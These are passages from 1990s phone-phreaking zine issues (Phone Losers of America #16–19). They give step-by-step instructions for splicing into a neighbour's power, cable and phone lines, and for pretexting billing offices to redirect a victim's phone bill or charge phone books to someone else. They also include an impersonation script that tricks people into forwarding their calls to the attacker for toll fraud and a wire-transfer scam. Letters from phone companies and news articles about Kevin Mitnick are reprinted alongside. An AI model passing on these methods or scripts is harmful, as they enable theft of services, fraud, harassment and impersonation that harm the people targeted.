Once you find one, splice open the outer covering to the wires, exposing two more wires. Splice those open, keeping in mind that these are LIVE wires so be careful unless you consider afro hairstyles to be "in." If you don't want to work with the live wires you can either cross the two wires with a screwdriver or something, tripping the breaker or find their power box and shutting their power off. If you can't do this, then continue carefully.

So hook up your own extension cord or whatever into their line and tape up all the exposed stuff with electrical tape so you don't burn down your apartment. Plug in all your appliances that suck up a lot of juice into their line. Space heaters and the fridge is a good place to start.

Cable & Phones:

Use pretty much the same method to obtain free cable and phone. Start punching holes in the walls until you find their cable and phone lines and splice your own hookups into theirs. The chances of them ever finding any of this are pretty slim 'cause when a big power bill arrives, the man of the house does not generally start knocking holes in the walls, looking for the source of the problem. It's a good idea to not make any direct long distance calls from the phone. Besides, if you start dialing a bunch of 900 numbers, his poor kids are gonna get grounded.

Another way to get the phone line is to find the main phone box on the outside of the apartment. Each customer should have four terminals, a green, red, yellow and black. So find out which terminals are yours. Now pick your neighbor's red and green terminals and hook them to your black and yellow. If you don't have a legitimate phone to begin with, you can hook them to your red and green or find another neighbor's line and hook THAT to your red and green so you'll have two "pirate" lines. Remember, if funny things start happening to them, it won't be too hard for the phone company to look in the box and see that you're responsible.

Now I sure hope that your good at patching up holes in the walls because when your apartment manager sees all the holes, you'll probably be evicted. If  you're not bright enough to patch the holes, trying lowering the pictures on the walls to cover them. I'm sure THAT won't look suspicious. Or get your little brother to stick his head in the hole and tell him never to move.

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #016

Deaf Phones, Phone Books and Phone Bills

written by Zak

Written On  January 15, 1995 - Last Revision on February 2, 1995

TDD Fun:

Roy! Welcome to PLA file #16. This file is about TDD machines. Those cute little keyboards and acoustic hookups that you find on payphones. TDD devices can provide hours of fun for a bored phreak, or just someone who has nothing better to do with his life, like me. TDD's are so deaf people can pay outrageous phone bills just like the rest of us.

Say you are walking through the airport on the way back from HoHoCon and see one of these cool things. Flip the power switch next to the screen, put the receiver on the rubber circles. Dial the relay number for whatever state you're in, and the operator will begin typing to you. Ask her to call somebody for you. It has to be in that area code, and you have to pay with a calling card or third number billing or another fraudulent method if you're going to call long distance.

So, you found a TDD, and the operator called your friend Bobby. If he doesn't know about the relay service, she will explain it to him. Then, she will say WHATEVER you type on the keyboard, no matter how silly, obscene or illegal, she must repeat what you tell her to. We have had them talk about such things as cocaine deals, blowing up commuter flights, and even "Oh baby, my pussy is so wet."

As a service to deaf people, TDD's don't charge anything for a local call. If anyone knows where there is a TDD machine in the 618 area code, tell me because I really want to steal it. Also, most TDD machines don't have any punctuation and only type in CAPS so you need special codes to do some things.

Q === a question mark

GA == Means Go ahead

SKSK= Goodbye

Getting a copy of someones phone bill:

This is an easy and fun way to get revenge on someone. Just call up the Billing Office (Ameritech: 1-800-244-4444) and get the operator for home accounts. Tell her you will be out of state around the time your phone bill arrives, and you want it to be sent to another address. Usually, the operator will be happy to do this for you, but sometimes you get the operator who seems to think that she is with undercover Bell Sekurity, and want info like your SS# or want to call you back at home. If you get one of these types of operators, hang up or something. You might already have the victims SS#, but most of the time, it will not be needed.

Now it's time to choose a place for the bill to be sent to. Some good places are, his parents house, a friends house, or maybe a P.O. Box that you got in someone else's name. Then, you will have his family and friends numbers, and most of the other people he calls. You can call him up and recite some numbers off the bill, or how much he owes. One nice thing about this is that this will probably make him late paying the bill, and he will owe a late charge!

Phone Books:

Once again, call up the billing office, and press whatever button gives you the phone directory ordering line. An operator will ask how she can help you.  Tell her what city, state or country you want a phone book from. She will ask for a bunch of things like your name, number and address.

Give her whatever name you want the book sent in, someone else's number, and a P.O. Box you want the books sent to. The books that you order wil be billed to whatever number you gave her, so it really doesn't matter if the address belongs to the person that gets the bill for them.

Cactus@basenet.net to mail Zak. Long live the PLA!

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #017

Letters From The Phone Company

Written On  February 2, 1995 - Last Revision on February 2, 1995

Over the years I've gotten a lot of nasty letters from various phone companies, most of which I've kept for sovineers. So here are a selected few for you to laugh at or turn me in or whatever.

The following is a letter that I received after allowing everyone in the world that I knew to start third number billing all their long distance calls to my home phone that I wasn't going to pay. Keep in mind, people were billing calls all over the WORLD from about ten different states and a couple of friends from Australia were doing the same. About a week after I got this letter, a representative from GTE Security North called me and said that since my social security number was invalid, she was shutting my phone off and the next morning it was dead forever.

----------------

February 25, 1994

RedBoxChiliPepper

xxx W. Fayette Street #3

Celina, OH 45822

RE: (419) 586-xxxx

Dear Mr. ChiliPepper

AT&T has identified a pattern of suspected fraudulent third party calls being billing to your telephone number, which raises the suspicion that fraud may be occurring. Accordingly, in order to protect both you and AT&T from potential fraud, AT&T (reserves the right to set restrictions as outlined in FCC Tariff No. 1 pg 43.1, section 2.9.4) has restricted the ability to have AT&T third party calls billed to your number until this matter can be resolved.

If these calls are determined to be fraudulent, every effort will be made to attempt to identify the responsible parties. Cases meeting the requirements of either State or Federal statutes may be referred to law enforcement officials.

If you wish to discuss this restriction, you may do so in writing to AT&T Corporate Security Control Center, P.O.Box 6735, Department 18, Bridgewater, N.J. 08807-9998 or call 1-800-922-0479.

(A REAL hand signature!)

Ellie Tunis

AT&T Security Associate

----------------

November 23, 1992

Dear Customer,

Our records as of November 22, 1992 indicate that you have made no payments on your Sprint long-distance account. Your account has an outstanding balance of $1,195.41.

Unless we receive your full payment by December 8, 1992, we will disconnect your Sprint long-distance service. Do not delay. Mail payment of $1,195.41  today in the envelope provided. Representatives are available at 1-800-877-4646 to take your credit card payment or answer any questions.

Please disregard this notice if payment has been sent.

Sincerely,

Sprint Collection Department

[After adding this letter to my collection, I used the enclosed envelope to mail a letter to my friend in Chicago.]

The following letter was also included in PLA006. I received this letter after collecting several hundred dollars of AT&T refunds in the mail.

Mr. RedBoxChiliPepper

P.O.Box 44xxxx                                                  10/01/93

Indianapolis, IN 46244

Dear RedBoxChiliPepper:

Our records indicate a large number of coin refund requests. In light of this history, we cannot provide a refund until AT&T investigates and verifies this claim. As part of this investigation, please provide us with the written  detail of the call and circumstances in which you lost your money. Please mail your explanation to:

Coin Refund Investigation Unit

P.O.Box 561615

Charlotte, NC 28256-1615

[I swear, those AT&T guys must just make up those huge department names as  they go along because they have nothing better to do. Coin Refund Investigation Unit? Sheesh.]

----------------

The was this guy who we ordered a calling card for and we were also receiving all of his phone bills and stuff. Here's a letter we got for his one day.

RE: Calling Card Number: 504-xxx-xxxx-xxxx

Unusually high attempted usage has been detected on your BellSouth calling card. As a precautionary measure to protect your account, BellSouth has taken steps to prevent further use of your card.

From a Southern Bell number our office can be reached by dialing our toll free 780-2792 number. If you are calling from a South Central Bell number, we can be reached at the 557-6492 toll free number. You also may reach us by dialing 1-800-831-4323 from any location.

Our office is open 24 hours a day 7 days a week. We apologize for any inconvenience this may have caused you.

Account representative

----------------

This one isn't from the phone company, but from the collection agency that the phone company uses to collect unpaid debts.

5/30/94

RedBoxChiliPepper                               Owed to: General Telephone Co.

xxx W Fayette St. #3                            Account#: 419586xxxx 90385135

Celina, Ohio 45822                              Amount Due: $15,599.29

Dear RedBoxChiliPepper;

We have been advised by General Telephone Company that your account has not been paid. They have asked us to contact you and urge you to meet your obligation. You past due account has been placed for collection and is immediately due. Direct all questions, information and payments to this office. Prompt payment means good credit.

Sincerely,

Account Representative

This is an attempts to collect a debt and any information obtained will be used for that purpose.

Detach and Enclose with Payment

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

RedBoxChiliPepper                               Owed to: General Telephone Co.

xxx W Fayette St. #3                            Account#: 419586xxxx 90385135

Celina, Ohio 45822                              Amount Due: $15,599.29

[Yeah, right, like I have $15,000 here in my pocket to send away. The collection agency decided to call Zak periodically because he was the person that I called "The Most!" but Zak just insulted the poor lady all the time.]

----------------

Dear Mr. ChiliPepper                                            1/2/95

After several corporate meetings we've determined that during the last five years we've lost an average of $400,000 a year as a result of your calling card fraud, international refund checks, 900 abuse, theft of Alliance Teleconferencing services, red boxing, physical damage to our public phones, manipulation of other people's phone service, etc, etc, etc.

In light of this history we've come to the decision to pay you just to leave us the hell alone. Please accept the enclosed check for $350 and the enclosed calling card that has unlimited use on the condition that you stop all illigitimate activities against us. You will recieve a check every month for this amount for as long as you can stop fucking with us.

Sincerely,

Robert Allen (You can call me Bob)

Chairman & CEO of AT&T

[Well, okay, that didn't happen but a guy can dream, can't he?]

----------------

RE: AT&T Calling Card Account: P0554592482532

Dear RedBoxChiliPepper

According to our records, payment for final charges on your former AT&T Calling Card account has not been received. We are writing to remind you that payment of $217.78 is presently required to avoid further collection action.

Please mail your payment today to:

AT&T

P.O.Box 8209

Fox Valley, IL 60572

Be sure to include your AT&T account number on your check or money order to assure proper handling. If for any reason you are unable to make this payment or if you need to discuss your account further, please call one of our representatives at 1-800-634-8078.

If you have already mailed your payment, please disregard this notice.

Charles E. Moore

AT&T

If you have any interesting letters from phone company related sources, mail them to me and maybe they'll become a part of this file.

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #018

The Kevin Mitnick Saga Continues...

Written On  February 1, 1995 - Last Revision on February 2, 1995

I kind of assumed that the Kevin Mitnick story was over back in 1990 after they published the book "Cyberpunk." It seemed that he was reformed and his computer shenanagens were forever behind him but each day it seems like the Mitnick saga gets better and better. So this is the Mitnick file. Everything I've ever owned on Mitnick is here so enjoy it.

I know there's a lot more Mitnick articles floating around. A LOT. I used to have all of them (more or less) but I seem to have misplaced a few so until I get my ass over to the university to use their computers, the following is all you get. If you have any to contribute, please do so.

The following memo is from Pacific Bell Security concerning Kevin Mitnck.

On May 14, 1987, Electronic Operations received a court order directing Pacific Bell to place traps on the telephone numbers assigned to a company known as "Santa Cruz Operations." The court order was issued in order to identify the telephone number being used by an individual who was illegally entering Santa Cruz Operations' computer and stealing information.

On May 28, 1987, a telephone number was identified five separate times making illegal entry into Santa Cruz Operations' computer. The originating telephone number was 805-495-6191, which is listed to Bonnie Vitello, 1378 E. Hillcrest Drive, Apartment 404, Thousand Oaks, California.

On June 3, 1987, a search warrant was served at 1378 E. Hillcrest Drive, Apt. 404, Thousand Oaks, California. The residents of the apartment, who were not at home, were identified as Bonnie Vitello, a programmer for General Telephone and Kevin Mitnick, a known computer hacker. Found inside the apartment were three computers, numerous floppy disks and a number of General Telephone computer manuals.

Kevin Mitnick was arrested several years ago for hacking Pacific Bell, UCLA and Huhes Aircraft company compouters. Mitnick was a minor at the time of his arrest. Kevin Mitnick was recently arrested for compromising the data base of Santa Cruz Operations.

The floppy disks that were seized pursuant to the search warrant revealed Mitnick's involvement in compromising the Pacific Bell UNIX operation systems and other data bases. The disks documented the following:

o Mitnick's compromise of all southern California SCC/ESAC computers. On file were the names, log-ins, passwords, and home telephone numbers for northern and southern ESAC employees.

o The dial-up numbers and circuit identification documents for SCC computers and data kits.

o The commands for testing and seizing trunk testing lines and channels.

o The commands and log-ins for COSMOS wire centers for northern and southern California.

o The commands for line monitoring and the seizure of dial tone.

o References to the impersonation of southern California security agents and ESAC employees to obtain information.

o The commands for placing terminating and originating traps.

o The addresses of Pacific Bell locations and the electronic door lock access codes for the following southern California central offices ELSG12, LSAN06,  LSAN12, LSAN15, LSAN56, AVLN11, HLWD01, HWTH01, IGWD01, LOMT11 and SNPD01.

o Inter-company electronic mail detailing new login/password proceedures and safeguards.

o The work sheet of an UNIX encryption reader hacker file. If successful, this program could break into any UNIX system at will.

"Ex-Computer Whiz Kid Held on New Fraud Counts"

by Kim Murphy (Los Angeles Times) December 16, 1988

Kevin Mitnick was 17 when he first cracked Pacific Bell's computer system, secretly channeling his computer through a pay phone to alter telephone bills, penetrate other computers and steal $200,000 worth of data from a San Francisco corporation. A juvenile court judge at the time sentenced Mitnick to six months in a youth facility.  [After his release,] his probation officer found that her phone had been disconnected and the phone company had no record of it. A judge's credit record at TRW Inc. was inexplicably altered. Police computer files on the case were accessed from outside... Mitnick fled to Israel. Upon his return, there were new charges filed in Santa Cruz, accusing Mitnick of stealing software under development by Microport Systems, and federal prosecutors have a judgement showing Mitnick was convicted on the charge. There is, however, no record of the conviction in Santa Cruz's computer files.

On Thursday, Mitnick, now 25, was charged in two new criminal complaints accusing him of causing $4 million damage to a DEC computer, stealing a highly secret computer security system and gaining access to unauthorized MCI long-distance codes through university comoputers in Los Angeles, CA, and England.

A United States magistrate took the unusual step of ordering Mitnick held without bail, ruling that when armed with a keyboard he posed a danger to the community. "This thing is so massive, we're just running around trying to figure out what he did," said the prosecutor, an assistant United States attorney. "This person, we believe, is very, very dangerous, and he needs to be detained and kept away from a computer."

Los Angeles Police Department and FBI investigators say they are only now beginning to put together a picture of Mitnick and his alleged high-tech escapades. "He's several levels above what you would characterize as a computer hacker," said detective James K. Black, head of the Los Angeles police dept's computer crime unit. "He started our with a real driving curiousity for computers that went beyond personal compouters...He grew with the technology."

Mitnick is to be arraigned on two counts of computer fraud. The case is believed to be the first in the nation under a federal law that makes it a crime to gain access to an interstate computer network for criminal purposes. Federal prosecutors also obtained a court order restricting Mitnick's phone calls from jail, fearing he might gain access to a computer over phone lines.

"Dark Side Hacker..." From The Los Angeles Times...

Dammit, what's the date on this article???

When computer hacker Kevin Mitnick arrived at a Calabases parking garage for a meeting with his friend Lenny DiCicco four weeks ago, DiCicco reached up and casually scratched his head, a pre-arranged signal to federal agents hiding nearby.

Quickly, with the sound of screeching tires and shouted commands, a half dozen men closed in and handcuffed Mitnick. "Len, why did you do this to me?", Mitnick asked as he was being led away, DiCicco recalled later.

"Because you're a menace to society," DiCicco replied.

Law enforcement authorities couldn't agree more.  Mitnick, 25, an overweight, bespectacled San Fernando Vally computer junkie known as a "dark side" hacker for his willingness to use the computer as a weapon, has been accused of causing $4 million in damage to computer giant Digital Equipment Corp in Massachusetts.

Described by one investigator as a sophisticated criminal whose computer was an "umbilical cord to his soul," he also is charged by a federal grand jury with illegally copying Digital software valued at $1 million.

But those are just the latest in a decade-long series of accusations against Mitnick, whose high school computer hobby turned into a lasting obsession.

He roved Los Angeles, allegedly using computers at schools and businesses to break into Defense Department computer systems, sabotage business computers and electronically harass anyone-including a probation officer and FBI agents who got in his way.  He also learned how to disrupt telephone company operations and disconnected the phones of Hollywood celebrities such as Kristy McNichol, authorities said.

So determined was Mitnick, according to friends, that when he suspected his home phone was being monitored, he carried his hand-held keyboard to a pay phone in front of a 7-Eleven store, where he hooked it up and continued to break into computers around the country.

"He's an electronic terrorist," said DiCicco. "He can ruin someone's life just using his fingers."

Over the last month, three federal court judges have refused at seperate hearings to set bail for Mitnick, contending there would be no way to protect society from him if he were freed from his cell at the Metropolitan Detention Center in Los Angeles, where he is awaiting a February 21 trial date.

Although there is a subculture of "whiz kids" around the country who break into computers for fun, and they occasionally are caught by local authorities, they traditionally wind up with no more than a slap on the wrist or a short term in jail or juvenile detention facilities, according to Jay Bloom Becker of the National Center for Computer Data, an information firm in Los Angeles.

But Mitnick is being treated as anything but a prankster. Prosecutors say he is the first person to be charged under a tough federal interstate computer crime law.  He faces up to 30 years in prison if convicted of three counts.

Mitnick's lack of conscience, authorities say, makes him even more dangerous than hackers such as Robert Morris Jr.

Mitnick's motive for a decade of hacking?

Not money, apparently.  An unemployed computer programmer, he drove a used car and was living with his wife in his mother's modest Panorama City apartment at the time of his arrest.

"He's gotten nothing out of it except jail," said DiCicco.

Mitnick's family and attorney however, accuse federal prosecutors of blowinng the case out of proportion, either out of fear or misunderstanding of the technology. Mitnick's wife, Bonnie, a clerk who met her future husband when he sent a message to her computer asking for a date, said prosecutors are portraying her husband as a technological magician who "could turn dogs into chickens."

His mother, Shelly Jaffee, a Panorama City waitress, said her son never even owned a computer and is not smart enough to pull off such sopisticated crimes.

She acknowledged that he once won a $300 prize at a fair for cracking a display computer's security code, but she attributed that more to luck than anything else.

By all acounts, Mitnick was a bright but indistinguished boy in school, said Jaffee, who was divorced when Kevin was 3.  "He was just a normal, typical kid.  He was not a whiz kid," she said.

In fact, Mitnick disliked school, where he was unpopular, friends said.  Aloof and a loner, his appearance didn't help.  He acquired the much-satirized look of the computer fanatic: shirt tail hanging out, horn-rimmed glasses and pens in his breast pocket.

"There was always something slightly out of place," said one educator who knew Mitnick as a student in a computer class.

His interest in computers blossomed at Monroe High School in Sepulveda, where he took a programming course taught by John Christin 1979.  But Mitnick was not interested in writing simple programs, he wanted to learn how to manipulate the fundamental codes that made the computer work, Christ said.

Soon, he was using the classroom computers, furnished by Digital Equipment Corp., the world's largest maker of networked computers with $11 billion in annual sales, to gain access to files in the Los Angeles Unified School District's main computers in downtown Los Angeles, Christ said.  The two systems were linked and Mitnick was able to discover codes that, when typed into the classroom system, would allow entry into the main computers.

He didn't try to alter grades, but caused enough trouble that administrators  asked Christ to watch him closely.  When Mitnick was caught breaking in again, Christ said, he showed no remorse.

"He has no conscience as far as I can tell," the instructor said.

DiCicco said Mitnick was already a schoolyard legend for misusing the computer terminal when they met.  DiCicco, who became a disciple, said watching Mitnick find ways into computer systems "was thrilling.  I was learning a lot from him."

He may not have been on the football team, but within the subculture of computer hackers, Mitnick was a colorful figure, using the name "Condor," for a Robert Redford movie character who outwits the government.  The final digits of his unlisted home phone number were 007.

Mitnick had such a special feeling for the computer that when an investigator for the Los Angeles County district attorney's office accused him of harming a computer he entered, he got tears in his eyes.  "The computer to him was more of an animate thing," said the investigator, Robert Ewen, "There was an umbilical cord from it to his soul.  That's why when he got behind a computer he became a giant."

Although some teen-agers consider hacking glamorous, it atually can be a grinding process.  A hacker may spend hours, even days, on a home terminal, connected by phone to another system the hacker wants to enter.  The target system is usually protected by security designed to keep out unauthorized intruders, so the hacker often has to deduce or discover by tedious trial and error the secret passwords given to people authorized to use the system.

What made Mitnick "the best," said Steven Rhoades, a fellow hacker and friend, was his ability to talk people into giving him privilleged information.  He would call an official with a company he wanted to penetrate and say he was in the maintenance department and needed a computer password.  He was so convincing, they gave him the neccessary names or numbers, Rhoades said.

Rhoades said he and Mitnick broke into a North American Air Defense Command computer in Colorado Springs, CO in 1979.  The 1983 movie "Wargames" is based upon a similar incident, in which a young hacker nearly starts World War III when he sends a message to a defense computer that is mistaken for a Soviet missile attack.

But Rhoades said they did not interfere with any defense operations. "We just got in, looked around and got out," he said.

At the time he was getting interested in computers, Mitnick also developed a fascination for the telephone system, becoming what is known as a "phone phreak." In 1981, when he was just 17, Mitnick and three others were arrested for stealing manuals while pretending to be on a guided tour of Pacific Bell's computer center in Los Angeles, which controlled service and repair operations and other functions for Southern California's phone system.

He was prosecuted as a juvenile and placed on probation.  He violated it a short time later, however, by using USC computers. He was sent to a youth detention facility for six months, records show.

Pacific Bell officials refuse to talk about Mitnick.  But he eventually learned so much that he could create phone numbers, tap into telephone calls, and disconnect service without leaving a trace, according to DiCicco and Rhoades.  He did this, according to DiCicco, by impersonating phone company officials, or by playing certian tones over the phone to the Pacific Bell computer, which then carried out pre-programmed orders.

Ewen said Mitnick "had the ability to do anything the telephone company could do.  Our belief was, he could have taken the system down."

One thing he did repeatedly, according to authorities, was disconnect phone service to entertainers he admired, especially McNichol, then a star of the television show "Family."

Ridgeway said Mitnick once bragged to her that he had tampered with the credit records of FBI agents who investigated him.

"He had a very vindictive streak," she said. "A whole bunch of people were harassed.  They call me all the time."

Even friends were not safe.  Rhoades said he once picked up his phone at home and heard a recorded message telling him to "please deposit 25 cents."  DiCicco said he once found that all his company's calls were being forwarded to his home phone, a prank he was sure Mitnick was behind.

Mitnick met his wife two years ago in a class at Computer Learning Center in Los Angeles, where he was helping to write a security program to protect the school's computer system against hackers.  A message suddenly appeared on her computer screen asking for a date.  Auburn-haired and petite, she looked over at him, then typed, "Sure."

Chivalrous, he walked her to class and even carried her books.

Mitnick's attorney, Alan Rubin, said everything he can learn about his client shows him to be a decent, hard-working man.  "We have a picture of him that is so out of line with what the government is saying," he said, shaking his head.

In 1987, Mitnick broke into the systems of computer firms in Santa Cruz, authorities said.  He was so confident, he continued to enter The Santa Cruz Operation computers after officials there detected him and electronically sent him his own password, "hacker," so they could keep close watch on what he was doing.

The company agreed not to sue him if he would tell them how he had broken through the security, and Computer Services Manager Steph Marr said he flew down to Los Angeles to meet Mitnick.  Marr said he complimented Mitnick's abilities with a respectful greeting.

"Well met, well played," Marr said.  But Mitnick shrugged off the praise, the executive said.

"He sort of came across as I was not fully qualified to ask him these things."

Associates said Mitnick believed he was too clever to be caught. He had penetrated the DEC network in Massachusetts so effectively, DiCicco said, that he could read the personal electronic mail of security people working on the case of the mysterious hacker and discover just how close they were getting to him.

But caught he was, again and again, often by authorities tracing the long distance calls needed for an outsider to tie in to acomputer.  After each brush with authorities, however, the lure to return to hacking was too great to resist, according to his friends.  His mastery of the computer, after all, was his "source of self esteem," said Rhoades.

Friends say Mitnick thought of using his unusual abilities to make a living.  He and DiCicco were planning to start a business that would advise companies how to keep out hackers.

But strains developed in their relationship, according to DiCicco, when he tired of the "dark side" hacking.  He said he tried to get away from Mitnick, but his friend would search him out.

Mitnick began visiting DiCicco at night at Voluntary Plan Administrators (VPA), a Calabasas firm where DiCicco worked, to use the company's computers.  DiCicco said that when he grew sick of Mitnick's demands and finally turned him down, Mitnick called his boss, impersonated an IRS agent and said DiCicco was be investigated.

It was one malicious prank too many.  Confronted by his boss, DiCicco "spilled the beans," he said.

The FBI was called in and watched Mitnick's every move the day before his arrest, once recording him after he signed on the computer system at VPA.  Mitnick dialed into Digital and into a computer system in Leeds, England, according to DiCicco and law enforcement officials.  DiCicco said Mitnick talked British professors into giving him passwords and was already halfway into the system when he quit after six hours of hacking.

He had no second thoughts about turning in his former mentor. "He always thought he had his thumb on me," DiCicco said.

Friends said Mitnick did it all simply for the challenge, what one computer expert called finding "a worthy opponent."

The lack of a profit motive in Mitnick's hacking makes the move to hold him without bail repugnant to some defense attorneys. "It's crazy," said Leslie Abramson, president of California Attorneys for Criminal Justice in Los Angeles.

"It speaks of the vast power of prosecutors."

But prosecutors say Mitnick is a new kind of criminal, one who can do as much harm with a computer terminal as a bank robber with a gun.  They say there is evidence he broke into the super-secret National Security Agency computers and that other federal charges could be filed soon.

In addition, county authorities are reviewing evidence against both Mitnick and DiCicco of a possible theft of computer software at Pierce College.

"There is a tendency to look on these things as pranks," said Deputy Dist. Atty. Stephen Plafker.

"Mitnick has got enough of a history now that we can look on him as being really dangerous."

Feds pull plug on most wanted computer hacker - February 17, 1995

Electronic Hunt nets Mitnick, 31 - From Corpus Cristi Caller Times

RALEIGH, N.C. - Federal authorities see him as the world's most wanted computer hacker. But to his former therapist, Kevin Mitnick is just "a sad,  lonely, angry, isolated boy" who spent more time with computers that people.

Culminating a search that began in November 1992, federal agents arrested Mitnick early Wednesday at his Raleigh apartment. Mitnick, who once broke into a top secret military defense system as a teen-age prank, allegedly pilfered thousands of data files and at least 20,000 credit card number, worming his way into ever the most sophisticated systems.

A detention hearing was scheduled for this morning before a federal magistrate. Mitnick, 31, was charged with computer fraud, punishable by 20 years in prison, and illegal use of a telephone access device, which carries a maximum 15-year sentence. Both crimes also are punishable by $250,000 fines.  In addition, he was wanted in California for allegedly violating probation on a previous hacing conviction.

"It was an intensive, two-week-long electronic manhunt that involved several dozen law enforcement agents around the country," Assistant U.S. Attorney Kent Walker in San Fransisco said Thursday.

But others pooh-poohed the depiction of Mitnick as the cyberthief to beat all cyberthieves. "That's what I see, a sad, lonely, angry, isolated boy," Harriet Rosetto, Mitnick's former therapist, told the Daily News of Los Angeles after learning of his arrest. "I don't think he's that important a person. I think he's become mythical," said said. "That he's become public enemy No. 1 is kind of laughable.

"I think that had he found a way to be accepted in the mainstream, he would have joined the mainstream," Rosetto said. "He already had this reputation as this Svengali character. Nobody wanted to go near him."

One of the first indicted under the Computer Security Act of 1987, Mitnick was convicted of getting into MCI telephone computers and accessing long-distance codes, and of causing $4 million damage to Digital Equipment Corp.

The $4 million actually represented computer down-time, not damage, said attorney Alan Rubin who defended Mitnick. But it was Mitnick's third conviction and he served one year in prison. At the 1989 sentencing, U.S. District Judge Mariana Pfaelzer ruled that Mitnick's hacing was an addiction, like drugs, alcohol or the junk food he lived on. She agreed that he was dangerous when armed with a computer and phone line, and ordered him to get therapy and go to prison.

In therapy, Mitnick lost 100 of his nearly 300 pounds and worked on his self-esteem, Rosetto said. Tom Perrine, who used to develop software to protect classified information for the federal government, said authorities are behind when it comes to computer hacking investigations.

And in the end, it took someone with the skills of Tsutomu Shimomura, a 30 year old computer security soecialist at the San Diego Supercomputer Center, to help the federal agents track Mitnick. Shimomura's own computer at his California beach house, which was linked to the system at the center, was hit by the hacker on Christmas Day, said center spokeswoman Stephanie Sides.

Incensed, Shimomura canceled a ski vacation and assembled a team of computer experts to hunt down the intruder. They traced Mitnick to Netcom, a nationwide Internet access provider, and with the help of federally subpoenated phone records determined that he was placing calls from a cellular phone near Raleigh-Durham International Airport.

Early Monday morning, Shimomura drove around Raleigh with a telephone company technician. They used a cellular frequency direction-finding antenna hooked to a laptop to narrow the search to an apartment complex. The FBI arrested Mitnick after a 24-hour stakeout.

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Issue #019

Call Forwarding Fun

Written On  January 15, 1995 - Last Revision on February 2, 1995

Ever think of the extreme fun you can have by being able to answer your next door neighbor's phone just as if it were your own? Well, now not only can you answer the next door neighbor's phone, you can answer anyone's phone in the entire United States. Any person, any business. You'll be using the phone company's call forwarding service.

Not only can you use call forwarding just to answer their phone and mess with people's minds, you can also:

o Forward their calls to an AT&T Alliance Teleconferencing number so you and your friends can enjoy hours of free conferencing at their expense.

o Forward all their calls to a number in Australia to run up their phone bill really high.

o Forward their calls to you to beat the Western Union security and wire yourself $2000

Ordering Call Forwarding:

It's easy to do, you simply call up the local phone company billing office and tell them you want call forwarding on your (your victim's) line. They'll set it up for you and sometimes charge $15.oo or so to hook it up but that's not your problem.

They'll tell you what day it'll go into effect and explain to you how to use  it and everything. The code used for forwarding will either be 72# or *72. At least that's how it's always been for me.

Using Call Forwarding Legally:

Let's say that we were going to use call forwarding legitimately. You call the phone company billing office and ask them for call forwarding. After it goes into effect, you decide that you want to forward all your calls to your friend a few blocks away because you're going over there to get drunk. You pick up your phone and dial "72#" which gives you a second dial tone. Then you dial your friend's house "428-9204" and he answers the phone. You say, "Yo, Adrian, I'm commin' over with the Busch and I forwarded my calls to your house." and he says, "Dude. Cool. Okay." and you both hang up. Now everyone that calls your house is going to get his house instead.

What if his line is busy or there's no answer because Adrian's out in the back yard setting things on fire? Hang up the phone and pick it up again. Dial "72#" and "428-9204" again. You'll get a dial tone and you hang up. Your calls are now all forwarded to his house.

Getting The Number Forwarded:

The thing about forwarding other people's calls is that you can't be in their house to do all this unless you're a breaking and entering type of person which I try not to be. My solution to that is to call them up and bullshit them a little bit and talk them into dialing the numbers for me. It's pretty easy.  Most people aren't familiar with call forwarding and even those that are fall for it.

HIM: Hello?

YOU: Hi, is this Rob Berry?

HIM: Yes?

YOU: Hi, this is Larry with Southwestern Bell repair. Have you been having some problems with your phone line lately? You know, dialing out, receiving strange phone calls, the phone getting up and dancing around on the desk, that kind of thing?

HIM: Uh, no, uh...well, not that I'm aware of.

YOU: Well, we've been checking on your lines because our computers show that you've been having problems dialing out from your house.

At this point you just keep bullshitting him for a few seconds but don't draw it out too long. (The longer you talk, the better chance you have at making a mistake and making him skeptical of you.) End your conversation like this.

YOU: Sir, would you mind calling up our residential office here in St. Louis so the repair center can run a test for you on your line and tell you if there's still a problem? This will save you the cost of having to have a truck sent out to your house.

HIM: Sure, I can do that. (Anything to save a buck...Cheapskate.)

YOU: I'm going to give you the number here for the office in Wood River...Have you got a pen? ...Okay, dial 72 Pound sign...254-9723. Got that?

HIM: 72#-254-9723?

YOU: Yeah, be sure to dial the 72# first so we'll be able to run the test on your line. That way, they'll be able to tell you at the office if your line's doing okay.

HIM: Alright, well, I'll give them a call.

YOU: Okay, you'll probably want to call right away because the office will be closing any time now.

You now exchange hearty farewells with this good man and hang up, eagerly awaiting his phone call back to you. Note that 254-9723 is the pay phone at the donut shop where you're standing. As soon as he calls you, all his calls will automatically be forwarded to this pay phone. If someone wants to use the phone while you're waiting for him to call, tell them to fuck off and that there's a phone over at Wal-Greens they can use. Watch their stunned face. (Either that or they'll beat the shit outof you!)

Your eyes light up as your pay phone rings. You answer in a totally different voice. (Or you have your friend answer if you have any friends.)

YOU: Residential repair, Wood River. May I help you?

HIM: (Explains this situation to you about this myterious problem on his line that he knows nothing about.)

YOU: Okay, could I have your area code and phone number, please?

HIM: 618-692-9717

YOU: Okay, um....alright did you dial the code 72# before you called me.

HIM: Yes, I did. I'm very gullible.

YOU: Okay, let me check this out......(Mutter to yourself, pretend to type, pretend that you're wearing an expensive suit) Okay, I'm showing that we had some problems on your line but they all seem to have been taken care of yesterday morning. You shouldn't have anymore trouble there.

Like I said, you don't have to be at the pay phone. But remember, if nobody answers the pay phone that he's trying to call, it won't work unless he hangs up and tries again so if you're not there, say something to him like, "If there's no answer on the first try, just hang up and try again." Here's the plot I usually use to trick 7-Elevens and similar stores.

YOU: "Hi, this is Bob from the Visa Credit Card Company. We didn't get your batch reports from the computer tonight, is there some kind of problem there?"

HIM: "Uhhhhhhhhhh........what?

YOU: (Try to speak on a third-grade level and make him understand.) "Your computer was supposed to call us and send us your daily reports for your credit card machine there. We haven't got the reports today."

HIM: "Oh.........So what do you want?"

